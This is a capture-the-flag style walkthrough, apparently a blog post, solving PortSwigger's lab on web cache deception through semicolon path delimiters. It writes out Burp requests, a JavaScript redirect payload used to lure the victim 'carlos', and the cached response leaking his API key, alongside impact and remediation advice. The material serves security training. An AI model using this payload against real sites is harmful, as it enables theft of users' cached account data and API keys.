July 21, 2026
Web Cache Deception: Exploiting Path Delimiters for Walkthrough (Practitioner)
Learn how attackers exploit discrepancies in URL path delimiter handling between origin servers and cache servers to steal sensitive userβ¦

By Rahul M S
5 min read
Learn how attackers exploit discrepancies in URL path delimiter handling between origin servers and cache servers to steal sensitive user data like API keys using Web Cache Deception in the PortSwigger Web Security Academy.
Web Cache Deception isn't limited to path mapping β it also exploits how different servers interpret path delimiters like semicolons, question marks, and fragments. When the origin server treats a delimiter as a terminator but the cache server treats it as part of the filename, sensitive authenticated pages can be cached under URLs that appear to be static resources. In this walkthrough, we'll solve the Exploiting Path Delimiters for Web Cache Deception lab from the PortSwigger Web Security Academy. You'll learn how semicolon delimiter discrepancies enable cache poisoning, steal carlos's API key, understand the security impact, and implement proper cache security controls.
π Lab Information
FieldDetailsLab NameExploiting path delimiters for web cache deceptionDifficultyPRACTITIONERCategoryWeb Cache DeceptionLab URLhttps://portswigger.net/web-security/web-cache-deception/lab-wcd-exploiting-path-delimitersObjectiveFind the API key for the user carlos
π― What You'll Learn
By completing this lab, you'll learn how to:
β
Understand how path delimiters (;, ?, #, %23) create discrepancies between origin and cache servers.
β Identify delimiter-based Web Cache Deception vulnerabilities.
β Craft exploit payloads using semicolon delimiters to poison the cache.
β Use social engineering to make a victim trigger the cache poisoning.
β Retrieve cached sensitive data belonging to other users.
π Understanding the Vulnerability
Web Cache Deception via path delimiters occurs when the origin server and the cache server disagree on how to interpret delimiter characters in URL paths.
In this lab:
- The origin server treats ; (semicolon) as a path delimiter β it strips everything after ; when resolving the path. So
/my-account;wcd2.jsmaps to/my-account. - The cache server treats the full path literally β it sees
/my-account;wcd2.jsas a static file with a.jsextension. - The cache has a rule that caches responses for
.jsextensions withmax-age=30.
This is different from Lab 1, which exploited path mapping (arbitrary segments after /my-account). This lab exploits delimiter handling β the origin server specifically ignores content after ;, but the cache doesn't understand this delimiter.
π― Identifying the Attack Surface
When you access /my-account, the response contains sensitive information:
Your username is: wiener
Your API Key is: <wiener's API key>Your username is: wiener
Your API Key is: <wiener's API key>The key discovery is that the origin server ignores content after the semicolon:
GET /my-account;wcd2.js β 200 OK (origin maps to /my-account)
GET /my-account;random.txt β 200 OK (origin maps to /my-account)GET /my-account;wcd2.js β 200 OK (origin maps to /my-account)
GET /my-account;random.txt β 200 OK (origin maps to /my-account)The cache headers confirm the behavior:
HeaderValueMeaningX-CachemissResponse not yet cachedCache-Controlmax-age=30Will be cached for 30 secondsX-CachehitResponse served from cache
The critical difference from Lab 1: the semicolon is a recognized delimiter by the origin server, not just an arbitrary path segment. This means different delimiters may behave differently depending on the server configuration.
βοΈ How the Vulnerability Occurs
Attacker (wiener)
β
βΌ
Crafts exploit page (JS redirect to /my-account;wcd2.js)
β
βΌ
Delivers exploit to victim (carlos)
β
βΌ
Victim visits exploit page
β
βΌ
JS redirects victim to /my-account;wcd2.js
β
βΌ
Origin strips everything after ; β serves carlos's account page
β
βΌ
Cache treats full path as .js file β stores carlos's response
β
βΌ
Attacker visits /my-account;wcd2.js
β
βΌ
Cache returns carlos's API keyAttacker (wiener)
β
βΌ
Crafts exploit page (JS redirect to /my-account;wcd2.js)
β
βΌ
Delivers exploit to victim (carlos)
β
βΌ
Victim visits exploit page
β
βΌ
JS redirects victim to /my-account;wcd2.js
β
βΌ
Origin strips everything after ; β serves carlos's account page
β
βΌ
Cache treats full path as .js file β stores carlos's response
β
βΌ
Attacker visits /my-account;wcd2.js
β
βΌ
Cache returns carlos's API keyThis happens because:
β’ The origin server uses ; as a path delimiter and ignores content after it.
β’ The cache server doesn't recognize ; as special and treats the full path as a filename.
β’ The .js extension at the end triggers the cache's caching rule.
π Exploitation Steps
Step 1: Log In as Test User
Authenticate using the provided credentials:
Username: wiener
Password: peter
After logging in, observe your account page at /my-account. Your API key is visible in the response.
Step 2: Test the Semicolon Delimiter
Send the following request in Burp Suite Repeater:
GET /my-account;wcd2.js HTTP/1.1
Host: 0ad100310335c1bc8138346a00b100f5.web-security-academy.net
Cookie: session=<your_session>GET /my-account;wcd2.js HTTP/1.1
Host: 0ad100310335c1bc8138346a00b100f5.web-security-academy.net
Cookie: session=<your_session>Response (first request):
HTTP/1.1 200 OK
Cache-Control: max-age=30
X-Cache: miss
Your username is: wiener
Your API Key is: <wiener's API key>HTTP/1.1 200 OK
Cache-Control: max-age=30
X-Cache: miss
Your username is: wiener
Your API Key is: <wiener's API key>The origin served your account page (ignoring ;wcd2.js), and the cache marked it as a miss with a 30-second TTL.
Step 3: Verify Caching Works
Send the same request again within 30 seconds:
GET /my-account;wcd2.js HTTP/1.1
Host: 0ad100310335c1bc8138346a00b100f5.web-security-academy.net
Cookie: session=<your_session>GET /my-account;wcd2.js HTTP/1.1
Host: 0ad100310335c1bc8138346a00b100f5.web-security-academy.net
Cookie: session=<your_session>Response (second request):
HTTP/1.1 200 OK
Cache-Control: max-age=30
X-Cache: hit
Age: 5
Your username is: wiener
Your API Key is: <wiener's API key>HTTP/1.1 200 OK
Cache-Control: max-age=30
X-Cache: hit
Age: 5
Your username is: wiener
Your API Key is: <wiener's API key>X-Cache: hit confirms the response is now cached. The cache believes it's storing a .js file, but it actually contains your account page.
Step 4: Craft the Exploit
Navigate to the Exploit Server and create a payload:
Exploit Body:
<script>document.location="https://0ad100310335c1bc8138346a00b100f5.web-security-academy.net/my-account;wcd2.js"</script><script>document.location="https://0ad100310335c1bc8138346a00b100f5.web-security-academy.net/my-account;wcd2.js"</script>This JavaScript redirects any visitor to the deceptive URL using the semicolon delimiter.
Step 5: Deliver the Exploit to Victim
Click "Deliver exploit to victim". This causes carlos to visit your exploit page, which redirects his browser to /my-account;wcd2.js.
The origin strips everything after ; and serves carlos's account page. The cache stores it under the .js URL.
Step 6: Retrieve the Cached API Key
Immediately after delivering the exploit (within 30 seconds), send this request:
GET /my-account;wcd2.js HTTP/1.1
Host: 0ad100310335c1bc8138346a00b100f5.web-security-academy.netGET /my-account;wcd2.js HTTP/1.1
Host: 0ad100310335c1bc8138346a00b100f5.web-security-academy.netResponse:
HTTP/1.1 200 OK
Cache-Control: max-age=30
X-Cache: hit
Age: 5
Your username is: carlos
Your API Key is: YmGUP2gxcas0qi6HNsgTXwJuiQWmiCemHTTP/1.1 200 OK
Cache-Control: max-age=30
X-Cache: hit
Age: 5
Your username is: carlos
Your API Key is: YmGUP2gxcas0qi6HNsgTXwJuiQWmiCemStep 7: Submit the Solution
Submit carlos's API key: YmGUP2gxcas0qi6HNsgTXwJuiQWmiCem
Lab Solved! π
β οΈ Security Impact
If this vulnerability existed in a production application, an attacker could:
β’ Steal API keys belonging to any user whose request gets cached.
β’ Extract session tokens and personal information from cached authenticated pages.
β’ Escalate privileges by obtaining credentials of higher-privileged users.
β’ Bypass authentication by serving cached authenticated content to unauthenticated users.
β’ Target any cached sensitive endpoint β not just account pages.
β’ Exploit multiple delimiters β different characters (;, ?, %23) may work, increasing the attack surface.
The attack requires social engineering (phishing) to make the victim visit the exploit page, but the impact is severe because the cached data is exposed to anyone who knows the URL.
π‘οΈ Remediation
Developers should follow these security best practices:
β Cache key normalization: Ensure the cache and origin server interpret URL paths identically, including delimiter handling.
β
Never cache sensitive pages: Add Cache-Control: no-store to all authenticated responses.
β Delimiter consistency: Ensure origin and cache servers handle all URL delimiters the same way.
β Avoid extension-based caching: Don't cache responses based solely on file extensions when path delimiter discrepancies exist.
β Input validation: Reject or normalize ambiguous paths before caching.
β
Vary cache key by authorization: Include the Authorization header in the cache key for authenticated requests.
The correct workflow should always be:
Client Request
β
βΌ
Origin Validates Path (including delimiters)
β
βΌ
Origin Checks Authentication
β
βΌ
Response Includes: Cache-Control: no-store
β
βΌ
Cache Never Stores Sensitive DataClient Request
β
βΌ
Origin Validates Path (including delimiters)
β
βΌ
Origin Checks Authentication
β
βΌ
Response Includes: Cache-Control: no-store
β
βΌ
Cache Never Stores Sensitive Dataπ Key Takeaways
Path delimiters like semicolons create a second vector for Web Cache Deception beyond simple path mapping.
β The semicolon (;) is a recognized delimiter by many origin servers but not by cache servers.
β Different delimiters may behave differently β always test ;, ?, #, and %23.
β The cache key must include the full path interpretation, not just the file extension.
β Sensitive authenticated pages should never be cached β use Cache-Control: no-store.
β The attacker doesn't need to authenticate as the victim β the cache does the work.
π References
PortSwigger Web Security Academy https://portswigger.net/web-security/web-cache-deception
PortSwigger: Delimiter List for WCD Labs https://portswigger.net/web-security/web-cache-deception/wcd-lab-delimiter-list
PortSwigger Whitepaper: Gotta Cache 'em All https://portswigger.net/research/gotta-cache-em-all
OWASP: Web Cache Deception https://owasp.org/www-community/attacks/Web_Cache_Deception
Original Research by Omer Gil (2017) https://omergil.blogspot.com/2017/02/web-cache-deception-attack.html
π€ Connect with Me
If you enjoy practical cybersecurity content and hands-on PortSwigger Web Security Academy walkthroughs, feel free to connect with me.
π Portfolio https://rahulms.qzz.io/
π» GitHub https://github.com/1amrahul
πΌ LinkedIn https://linkedin.com/in/rahul-m-s-372b631a2
If this walkthrough helped you, consider following this publication for more PortSwigger Web Security Academy lab solutions, Burp Suite tutorials, Web Cache Deception guides, and practical Web Application Penetration Testing (VAPT) content.